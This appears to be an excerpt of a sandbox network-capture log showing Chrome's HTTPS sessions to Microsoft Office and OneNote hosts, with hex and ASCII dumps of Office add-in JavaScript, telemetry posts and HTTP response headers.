2024-07-16 11:07:23 UTC	16384	IN	Data Raw: 70 70 65 64 28 74 5b 6f 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 44 72 6f 70 70 65 64 52 65 61 73 6f 6e 2e 4e 6f 6e 52 65 74 72 79 61 62 6c 65 53 74 61 74 75 73 29 29 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 43 6f 6e 6e 65 63 74 69 6f 6e 73 2d 2d 2c 72 7c 7c 6e 7c 7c 74 68 69 73 2e 73 65 6e 64 51 75 65 75 65 64 52 65 71 75 65 73 74 73 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 6f 6e 76 65 72 74 41 6c 6c 48 65 61 64 65 72 73 54 6f 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 69 66 28 65 29 66 6f 72 28 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 2b 2b 69 29 7b 76 61 72 20 72 3d 6e 5b 69 5d 2e 73 70 6c 69 74 28 22 3a 20 22 29 3b 74 5b 72 5b 30 5d 5d 3d 72 5b 31 Data Ascii: pped(t[o],i.AWTEventsDroppedReason.NonRetryableStatus));this._activeConnections--,r\|\|n\|\|this.sendQueuedRequests()},e.prototype._convertAllHeadersToMap=function(e){var t={};if(e)for(var n=e.split("\n"),i=0;i<n.length;++i){var r=n[i].split(": ");t[r[0]]=r[1
2024-07-16 11:07:23 UTC	9607	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e 64 50 6f 69 6e 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 2e 67 65 74 49 64 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 53 65 6e 64 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ==typeof OSF.getClientEndPoint&&"object"==typeof OSF._OfficeAppFactory&&"function"==typeof OSF._OfficeAppFactory.getId&&"object"==typeof OSF.AgaveHostAction&&"number"==typeof OSF.AgaveHostAction.SendTelemetryEvent},e.prototype.sendTelemetryEvent=function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	50006	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:22 UTC	519	OUT	GET /lib/1.1/hosted/en-us/office_strings.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
2024-07-16 11:07:23 UTC	1542	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:22 GMT Content-Type: application/javascript Content-Length: 21179 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Last-Modified: Fri, 12 Jul 2024 16:48:15 GMT x-ms-request-id: 1b47ec36-d01e-005c-2981-d4975a000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.40.17.12,b=99197997,c=g,n=US_NJ_EDISON,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EDISON&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.0c112817.1720964131.5e9a42d&TotalRTCDNTime=7&CompressionType=gzip&FileSize=0"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=7, clienttt; dur=82, origin; dur=0 , cdntime; dur=82 Akamai-Cache-Status: RefreshHit from child, RefreshHit from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110722Z-15b94bb6ff9j5wxz0ew5xzhr5400000005ng0000000074ta x-fd-int-roxy-purgeid: 66127294 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-07-16 11:07:23 UTC	14842	IN	Data Raw: 69 66 20 28 77 69 6e 64 6f 77 2e 54 79 70 65 20 26 26 20 77 69 6e 64 6f 77 2e 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 29 20 7b 0d 0a 54 79 70 65 2e 72 65 67 69 73 74 65 72 4e 61 6d 65 73 70 61 63 65 28 22 53 74 72 69 6e 67 73 22 29 3b 7d 20 65 6c 73 65 20 7b 0d 0a 69 66 28 74 79 70 65 6f 66 28 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 29 20 3d 3d 20 27 75 6e 64 65 66 69 6e 65 64 27 29 20 7b 0d 0a 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 20 3d 20 6e 65 77 20 4f 62 6a 65 63 74 28 29 3b 20 77 69 6e 64 6f 77 5b 27 22 53 74 72 69 6e 67 73 22 27 5d 2e 20 5f 5f 6e 61 6d 65 73 70 61 63 65 20 3d 20 74 72 75 65 3b 0d 0a 7d 0d 0a 0d 0a 7d 0d 0a 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 3d 66 75 6e 63 74 Data Ascii: if (window.Type && window.Type.registerNamespace) {Type.registerNamespace("Strings");} else {if(typeof(window['"Strings"']) == 'undefined') {window['"Strings"'] = new Object(); window['"Strings"']. __namespace = true;}}Strings.OfficeOM=funct
2024-07-16 11:07:23 UTC	6337	IN	Data Raw: 6e 63 65 6c 6c 65 64 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 43 61 6e 63 65 6c 6c 65 64 45 72 72 6f 72 4d 65 73 73 61 67 65 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 77 61 73 20 63 61 6e 63 65 6c 6c 65 64 20 62 79 20 74 68 65 20 75 73 65 72 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 3d 22 54 68 65 20 6f 70 65 72 61 74 69 6f 6e 20 69 73 20 6e 6f 74 20 73 75 70 70 6f 72 74 65 64 2e 22 3b 53 74 72 69 6e 67 73 2e 4f 66 66 69 63 65 4f 4d 2e 4c 5f 4f 70 65 72 61 74 69 6f 6e 4e 6f 74 53 75 70 70 6f 72 74 65 64 4f 6e 4d 61 74 72 69 78 44 61 74 61 3d 22 53 65 6c 65 63 74 65 64 20 63 6f 6e 74 65 6e 74 20 6e 65 65 64 73 20 74 Data Ascii: ncelled";Strings.OfficeOM.L_OperationCancelledErrorMessage="The operation was cancelled by the user.";Strings.OfficeOM.L_OperationNotSupported="The operation is not supported.";Strings.OfficeOM.L_OperationNotSupportedOnMatrixData="Selected content needs t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	50013	52.108.11.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:23 UTC	671	OUT	GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:23 UTC	4447	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: e7c8b877-c9c5-4d89-81d1-391d180ac570 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF00017826 X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8b&DC=GEU3&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017826 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 56F64EB0BB564C9BBE798F1774B1FB72 Ref B: BL2AA2010205053 Ref C: 2024-07-16T11:07:23Z Date: Tue, 16 Jul 2024 11:07:23 GMT Connection: close
2024-07-16 11:07:23 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	50012	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:23 UTC	711	OUT	POST /officeaddins/RemoteUls.ashx HTTP/1.1 Host: www.onenote.com Connection: keep-alive Content-Length: 552 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json X-UserSessionId: bd1535c6-2648-4ee6-a2de-051de518d087 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.onenote.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.onenote.com/officeaddins/learningtools/?et= Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:23 UTC	552	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 34 32 35 39 30 2c 22 4c 22 3a 5b 7b 22 47 22 3a 36 31 36 30 38 35 36 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 4f 6e 4c 6f 61 64 22 2c 22 43 22 3a 32 30 30 33 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 36 31 36 30 38 35 37 2c 22 54 22 3a 31 2c 22 4d 22 3a 22 55 73 65 72 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 6b 65 20 47 65 63 6b 6f 29 20 43 68 72 6f 6d 65 2f 31 31 37 2e 30 2e 30 2e 30 20 53 61 66 61 72 69 2f 35 33 37 2e 33 36 22 2c 22 43 22 3a 32 30 30 33 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 36 34 33 36 36 32 38 2c 22 54 22 3a Data Ascii: {"T":1721128042590,"L":[{"G":6160856,"T":0,"M":"OnLoad","C":2003,"D":50},{"G":6160857,"T":1,"M":"UserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36","C":2003,"D":50},{"G":6436628,"T":
2024-07-16 11:07:23 UTC	1173	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:23 GMT Content-Type: text/plain Content-Length: 0 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-000.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_10 X-RoutingOfficeVersion: 16.0.17909.40453 X-RoutingSessionId: bd1535c6-2648-4ee6-a2de-051de518d087 X-RoutingCorrelationId: 0b41c858-eb03-4273-a0f1-a1f44146d5ec P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" x-correlationid: 0b41c858-eb03-4273-a0f1-a1f44146d5ec x-usersessionid: bd1535c6-2648-4ee6-a2de-051de518d087 x-officefe: AgavesFrontEnd_IN_9 x-officeversion: 16.0.17907.40450 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-buls-suppressionetag: N/A x-buls-suppressedtags: x-content-type-options: nosniff x-download-options: noopen content-disposition: attachment x-content-type-options: nosniff x-azure-ref: 20240716T110723Z-15b94bb6ff9bzr4dnuz3238r5n00000008q000000000cws4 X-Cache: CONFIG_NOCACHE Accept-Ranges: bytes

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50011	13.107.246.42	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:23 UTC	521	OUT	GET /lib/1.1/hosted/telemetry/oteljs_agave.js HTTP/1.1 Host: appsforoffice.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: MC1=GUID=a873effc26314d9abadfafaddc07c121&HASH=a873&LV=202407&V=4&LU=1721128022440; MS0=7053b013f8a64bda95e25f0659c83dd2
2024-07-16 11:07:23 UTC	1435	IN	HTTP/1.1 200 OK Date: Tue, 16 Jul 2024 11:07:23 GMT Content-Type: application/javascript Transfer-Encoding: chunked Connection: close Last-Modified: Fri, 12 Jul 2024 16:48:25 GMT x-ms-request-id: 9b20457c-d01e-0001-809d-d49dde000000 Cache-Control: max-age=14400 Alt-Svc: h3=":443"; ma=93600 Akamai-Request-BC: [a=23.200.89.136,b=527636331,c=g,n=US_NJ_SECAUCUS,o=20940] Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=SECAUCUS&ASN=20940&Country=US&Region=NJ&RequestIdentifier=0.8859c817.1721086617.1f73176b&TotalRTCDNTime=6&CompressionType=gzip&FileSize=0"}],"include_subdomains ":true} NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Server-Timing: clientrtt; dur=6, clienttt; dur=85, origin; dur=0 , cdntime; dur=85 Akamai-Cache-Status: RefreshHit from child, Miss from parent X-CDN-Bucket: 4 X-Content-Type-Options: nosniff Timing-Allow-Origin: * Access-Control-Expose-Headers: date,Akamai-Request-BC,X-Cdn-Provider,X-Ms-Request-Id Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000; includeSubDomains X-CDN-Provider: Akamai x-azure-ref: 20240716T110723Z-15b94bb6ff92swstpkghazzvcg00000009bg00000000b7p5 x-fd-int-roxy-purgeid: 66127294 X-Cache: TCP_HIT X-Cache-Info: L1_T2
2024-07-16 11:07:23 UTC	14949	IN	Data Raw: 31 35 64 31 0d 0a 76 61 72 20 6f 74 65 6c 6a 73 5f 61 67 61 76 65 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 69 29 7b 69 66 28 74 5b 69 5d 29 72 65 74 75 72 6e 20 74 5b 69 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 69 5d 3d 7b 69 3a 69 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 69 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6e 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6e 2e 6d 3d 65 2c 6e 2e 63 3d 74 2c 6e 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 6e 2e 6f 28 65 2c 74 29 7c 7c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 65 Data Ascii: 15d1var oteljs_agave=function(e){var t={};function n(i){if(t[i])return t[i].exports;var r=t[i]={i:i,l:!1,exports:{}};return e[i].call(r.exports,r,r.exports,n),r.l=!0,r.exports}return n.m=e,n.c=t,n.d=function(e,t,i){n.o(e,t)\|\|Object.defineProperty(e,t,{e
2024-07-16 11:07:24 UTC	16384	IN	Data Raw: 3d 6e 28 31 30 29 2c 72 3d 6e 28 30 29 2c 6f 3d 6e 28 36 29 2c 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 29 7b 74 68 69 73 2e 5f 61 6c 6c 6f 77 44 65 76 69 63 65 46 69 65 6c 64 73 3d 65 2c 74 68 69 73 2e 5f 70 72 6f 70 65 72 74 69 65 73 3d 74 7d 72 65 74 75 72 6e 20 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 49 64 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 64 64 43 6f 6e 74 65 78 74 28 22 41 70 70 49 6e 66 6f 2e 49 64 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 41 70 70 56 65 72 73 69 6f 6e 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 68 69 73 2e 5f 61 64 64 43 6f 6e 74 65 78 74 28 22 41 70 70 49 6e 66 6f 2e 56 65 72 73 69 6f 6e 22 2c 65 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 Data Ascii: =n(10),r=n(0),o=n(6),s=function(){function e(e,t){this._allowDeviceFields=e,this._properties=t}return e.prototype.setAppId=function(e){this._addContext("AppInfo.Id",e)},e.prototype.setAppVersion=function(e){this._addContext("AppInfo.Version",e)},e.prototy
2024-07-16 11:07:24 UTC	16384	IN	Data Raw: 6f 72 69 74 79 2e 4e 6f 72 6d 61 6c 29 2c 74 68 69 73 2e 5f 73 65 6e 64 45 76 65 6e 74 28 65 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 29 3a 75 2e 64 65 66 61 75 6c 74 2e 65 76 65 6e 74 73 52 65 6a 65 63 74 65 64 28 5b 65 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 52 65 6a 65 63 74 65 64 52 65 61 73 6f 6e 2e 49 6e 76 61 6c 69 64 45 76 65 6e 74 29 7d 2c 65 2e 5f 61 64 64 43 6f 6e 74 65 78 74 49 66 41 62 73 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 74 29 66 6f 72 28 76 61 72 20 6e 20 69 6e 20 74 29 74 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 28 6e 29 26 26 28 65 2e 70 Data Ascii: ority.Normal),this._sendEvent(e)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)):u.default.eventsRejected([e],i.AWTEventsRejectedReason.InvalidEvent)},e._addContextIfAbsent=function(e,t){if(t)for(var n in t)t.hasOwnProperty(n)&&(e.p
2024-07-16 11:07:24 UTC	16384	IN	Data Raw: 70 70 65 64 28 74 5b 6f 5d 2c 69 2e 41 57 54 45 76 65 6e 74 73 44 72 6f 70 70 65 64 52 65 61 73 6f 6e 2e 4e 6f 6e 52 65 74 72 79 61 62 6c 65 53 74 61 74 75 73 29 29 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 43 6f 6e 6e 65 63 74 69 6f 6e 73 2d 2d 2c 72 7c 7c 6e 7c 7c 74 68 69 73 2e 73 65 6e 64 51 75 65 75 65 64 52 65 71 75 65 73 74 73 28 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 63 6f 6e 76 65 72 74 41 6c 6c 48 65 61 64 65 72 73 54 6f 4d 61 70 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 69 66 28 65 29 66 6f 72 28 76 61 72 20 6e 3d 65 2e 73 70 6c 69 74 28 22 5c 6e 22 29 2c 69 3d 30 3b 69 3c 6e 2e 6c 65 6e 67 74 68 3b 2b 2b 69 29 7b 76 61 72 20 72 3d 6e 5b 69 5d 2e 73 70 6c 69 74 28 22 3a 20 22 29 3b 74 5b 72 5b 30 5d 5d 3d 72 5b 31 Data Ascii: pped(t[o],i.AWTEventsDroppedReason.NonRetryableStatus));this._activeConnections--,r\|\|n\|\|this.sendQueuedRequests()},e.prototype._convertAllHeadersToMap=function(e){var t={};if(e)for(var n=e.split("\n"),i=0;i<n.length;++i){var r=n[i].split(": ");t[r[0]]=r[1
2024-07-16 11:07:24 UTC	9621	IN	Data Raw: 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 67 65 74 43 6c 69 65 6e 74 45 6e 64 50 6f 69 6e 74 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 26 26 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 5f 4f 66 66 69 63 65 41 70 70 46 61 63 74 6f 72 79 2e 67 65 74 49 64 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 4f 53 46 2e 41 67 61 76 65 48 6f 73 74 41 63 74 69 6f 6e 2e 53 65 6e 64 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 6e 64 54 65 6c 65 6d 65 74 72 79 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 Data Ascii: ==typeof OSF.getClientEndPoint&&"object"==typeof OSF._OfficeAppFactory&&"function"==typeof OSF._OfficeAppFactory.getId&&"object"==typeof OSF.AgaveHostAction&&"number"==typeof OSF.AgaveHostAction.SendTelemetryEvent},e.prototype.sendTelemetryEvent=function(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	50022	13.107.246.44	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:24 UTC	366	OUT	GET /officeaddins/RemoteUls.ashx HTTP/1.1 Host: www.onenote.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:07:24 UTC	1171	IN	HTTP/1.1 500 Date: Tue, 16 Jul 2024 11:07:24 GMT Content-Type: text/html Content-Length: 1208 Connection: close Cache-Control: private X-RoutingOfficeCluster: eus-azsc-001.reverseproxy.onenote.com X-RoutingOfficeFE: ReverseProxyFrontEnd_IN_1 X-RoutingOfficeVersion: 16.0.17909.40453 X-RoutingSessionId: 5c326ae5-d4e6-4adf-aae2-93e569de49b9 X-RoutingCorrelationId: d8ea8e0c-3153-4668-8be9-46c44308d05c P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" x-correlationid: d8ea8e0c-3153-4668-8be9-46c44308d05c x-usersessionid: 5c326ae5-d4e6-4adf-aae2-93e569de49b9 x-officefe: AgavesFrontEnd_IN_2 x-officeversion: 16.0.17907.40450 x-officecluster: eus-000.appsforoffice.onenote.com x-partitioning-enabled: true strict-transport-security: max-age=31536000; includeSubDomains; preload x-buls-suppressionetag: N/A x-buls-suppressedtags: x-invalidulsjson: x-content-type-options: nosniff x-download-options: noopen content-disposition: attachment x-content-type-options: nosniff x-azure-ref: 